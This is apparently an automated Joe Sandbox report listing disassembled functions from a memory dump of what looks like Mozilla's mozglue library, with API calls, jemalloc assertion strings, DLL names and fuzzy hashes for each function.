Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

<jemalloc>, xrefs: 6C993941, 6C9939F1
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
Compile-time page size does not divide the runtime one., xrefs: 6C993946
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
MALLOC_OPTIONS, xrefs: 6C9935FE
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8
MOZ_CRASH(), xrefs: 6C993950

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction Fuzzy Hash: F0539D71A05B018FD304CF29C540616FBE5BF8A728F2DC6ADE8699BB91D771E841CB81

Function 6C9B55F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6C98E1A5), ref: 6C9B5606
LoadLibraryW.KERNEL32(gdi32,?,6C98E1A5), ref: 6C9B560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C9B5633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C9B563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C9B566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C9B567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C9B5696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C9B56B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C9B56CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C9B56E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C9B56FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C9B5716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C9B572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C9B5748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C9B5761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C9B577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C9B5793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C9B57A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C9B57BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C9B57D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C9B57EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C9B57FF

Strings

GetThreadDpiAwarenessContext, xrefs: 6C9B562D
MonitorFromWindow, xrefs: 6C9B578D
GetWindowDC, xrefs: 6C9B5710
SetWindowLongPtrW, xrefs: 6C9B57B7
GetSystemMetricsForDpi, xrefs: 6C9B5677
CreateSolidBrush, xrefs: 6C9B57E4
CreateWindowExW, xrefs: 6C9B56C5
AreDpiAwarenessContextsEqual, xrefs: 6C9B5637
RegisterClassW, xrefs: 6C9B56AC
user32, xrefs: 6C9B5601
DeleteObject, xrefs: 6C9B57F9
StretchDIBits, xrefs: 6C9B57CC
SetWindowPos, xrefs: 6C9B56F7
GetMonitorInfoW, xrefs: 6C9B57A2
LoadCursorW, xrefs: 6C9B5774
ShowWindow, xrefs: 6C9B56DE
EnableNonClientDpiScaling, xrefs: 6C9B5666
gdi32, xrefs: 6C9B560A
ReleaseDC, xrefs: 6C9B5742
GetDpiForWindow, xrefs: 6C9B5690
LoadIconW, xrefs: 6C9B575B
FillRect, xrefs: 6C9B5729

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction ID: 41747918415cd83854961cde67794af9457b0b5d570bd113f65776845f780560
Opcode Fuzzy Hash: b62b0289e79b83f33e381221a6527ba5070d1c251e133c84b887ef19cecb3a91
Instruction Fuzzy Hash: B7513271719F03ABDB019F358D44A273ABCAB4B6897318965A911F3A51EFB0E840CF71

Function 6C9B34A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B35E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B36CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B38BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B39EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B3EE2

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C9B61DD
Part of subcall function 6C9B6180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C9B622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B40F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4157

Part of subcall function 6C9B6180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C9B6250
Part of subcall function 6C9B6180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9B6292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C9B4448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C9B4896
free.MOZGLUE ref: 6C9B489F

Strings

, xrefs: 6C9B4CD2

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction ID: 2024a2ce44dd57baca4eb525791026bf68a6069d6195df2565f20f8c78d6c700
Opcode Fuzzy Hash: e29818880e9c058e7f45fe314385ccd4b9c3c8b7a9617262625459c37adfd8de
Instruction Fuzzy Hash: A8F23D74908B808FC725CF28C08469AFBF1FF99348F158A5ED999A7711DB31E496CB42

Function 6C9664C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C9664DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C9664F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C966505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C966518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C96652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C96671C
GetCurrentProcess.KERNEL32 ref: 6C966724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C96672F
GetCurrentProcess.KERNEL32 ref: 6C966759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C966764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C966A80
GetSystemInfo.KERNEL32(?), ref: 6C966ABE
__Init_thread_footer.LIBCMT ref: 6C966AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C966AF7

Strings

detoured.dll, xrefs: 6C9664DA
user32.dll, xrefs: 6C966526
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C966798
nvdxgiwrap.dll, xrefs: 6C966513
nvd3d9wrap.dll, xrefs: 6C966500
_etoured.dll, xrefs: 6C9664ED

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction ID: f3bee4324432d92c21bcd1d3f6c1d1ac9eb2539a26f6e5108cf66aa5291763c1
Opcode Fuzzy Hash: 27dd945af1fe32d262ef0a761c6f670acab12c024bd204c79dc59807db2c3301
Instruction Fuzzy Hash: 74F1D3709056199FEF20CF26CD48B9AB7B9AF46318F1442D9D809E3B81D731EA84CF91

Function 6C9860A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C9860C9
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C98610D
EnterCriticalSection.KERNEL32(?), ref: 6C98618C
LeaveCriticalSection.KERNEL32(?), ref: 6C9861F9

Strings

<jemalloc>, xrefs: 6C986AA9, 6C986B59
Compile-time page size does not divide the runtime one., xrefs: 6C986AAE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C986BC7, 6C986F97, 6C986FB2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C986B6A
MALLOC_OPTIONS, xrefs: 6C986888
MOZ_CRASH(), xrefs: 6C986AB8

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction ID: 5f412a5f79bb3721f2e4877629fc26ad606a218144d7b7f8dbb7b964545e3613
Opcode Fuzzy Hash: 7d1007c9df194d3a3bc3b820bbface37d1caa223a5f4aca1d52601a7c500ae32
Instruction Fuzzy Hash: BEA2AD71A1AB018FD704CF28C540715BBE1BB86728F29CA6DE869DFB91C771E841CB81

Function 6C9BC4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BC6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C9BC7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C9BC9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BCC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BCD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BDB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BE432
memcpy.VCRUNTIME140(?,?,?), ref: 6C9BE472

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e1c3f81d231211ef9dee21fb1a5de1049b4568e871490516a1836c365754f4bf
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 82339D72E0021ADFCB04CFA8C8806AEBBB6FF49314F284269D955BB755D731E945CB90

Function 6C96FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

<jemalloc>, xrefs: 6C970D62, 6C970D76, 6C970DA7
: (malloc) Error in VirtualFree(), xrefs: 6C970D67, 6C970D7B, 6C970DAC
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction ID: 89b0767db9b6ade71c2dd4f675689d8a6305506a27724497a8988b0c8490be09
Opcode Fuzzy Hash: 2a80efdd87dc380fcc29ea9a24c41a4f325f1e35b36375088548913f704783e7
Instruction Fuzzy Hash: 07C2F271A06B418FD724CF28C490716BBE1BF86728F28C66DE4698B7D5D732E841CB91

Function 6C9BE680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6C9BE811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C9BEBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BEEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9BF223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C9BF322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C9C0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C9C0E54
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0EAE
memcpy.VCRUNTIME140(?,?,?), ref: 6C9C0ED4

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction ID: a5d567ef99268a4b7d045aa9c7510be3e1a83ce64898b96b8b2d8d6408922307
Opcode Fuzzy Hash: ceae3f136b220e6e16fa1b655adfe36be61ae5e1400f8ef16e74b717ab6da985
Instruction Fuzzy Hash: 2A639D75E0025ACFCB04CFA8C8906ADFBB2FF89314F298269D855BB745D730A945CB91

Function 6C993E50 Relevance: 27.0, APIs: 13, Strings: 2, Instructions: 765COMMON

Download Yara Rule

APIs

Part of subcall function 6C9B7770: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C993E7D,?,?,?,6C993E7D,?,?), ref: 6C9B777C

tolower.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000), ref: 6C993F17
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C993F5C
VerSetConditionMask.NTDLL ref: 6C993F8D
VerSetConditionMask.NTDLL ref: 6C993F99
VerSetConditionMask.NTDLL ref: 6C993FA0
VerSetConditionMask.NTDLL ref: 6C993FA7
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C993FB4

Strings

nvinit.dll, xrefs: 6C994479
nvd3d9wrap.dll, xrefs: 6C994466

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemsettolowerwcslen
String ID: nvd3d9wrap.dll$nvinit.dll
API String ID: 1189858803-2380496106
Opcode ID: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction ID: f37a4a6004366b2d173098e3670fc2ce9cfb69bed96d9c59383d1ec0d5faff55
Opcode Fuzzy Hash: b65f8d6034d8fa858a843ad24768d80be4915e4480e4909ca1764f7a21c0d320
Instruction Fuzzy Hash: BB52F471610B849FE715DF34C890AABB7F9AF65204F14092DE4978BB82DB34F909CB60

Function 6C97ED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C97EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C97EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C981695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9816B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C981770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C981A3E

Memory Dump Source

Source File: 00000001.00000002.2763801979.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2763762906.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763919455.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763963118.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2763998305.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction ID: 4b12cf259d144afaaa2cd7cea373ec058412700b17f052388d39559a68429258
Opcode Fuzzy Hash: 6e4d2a8ffac268e9293e11b2aa4df37c6a649eea5850cf2a045991f55a915269
Instruction Fuzzy Hash: 38B31A71E0521ACFCB24CFA8C890AADB7B2BF49304F2585A9D459BB745D730AD85CF90

Function 6C96FEF0 Relevance: 23.8, APIs: 13, Strings: 2, Instructions: 1294memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7B8), ref: 6C96FF81
LeaveCriticalSection.KERNEL32(6C9DE7B8), ref: 6C97022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C970240
EnterCriticalSection.KERNEL32(6C9DE768), ref: 6C97025B
LeaveCriticalSection.KERNEL32(6C9DE768), ref: 6C97027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C96FE99, 6C96FEB7, 6C96FED3, 6C970DB8, 6C970DD3, 6C9719B4, 6C971A10
MOZ_CRASH(), xrefs: 6C970CA7

Memory Dump Source

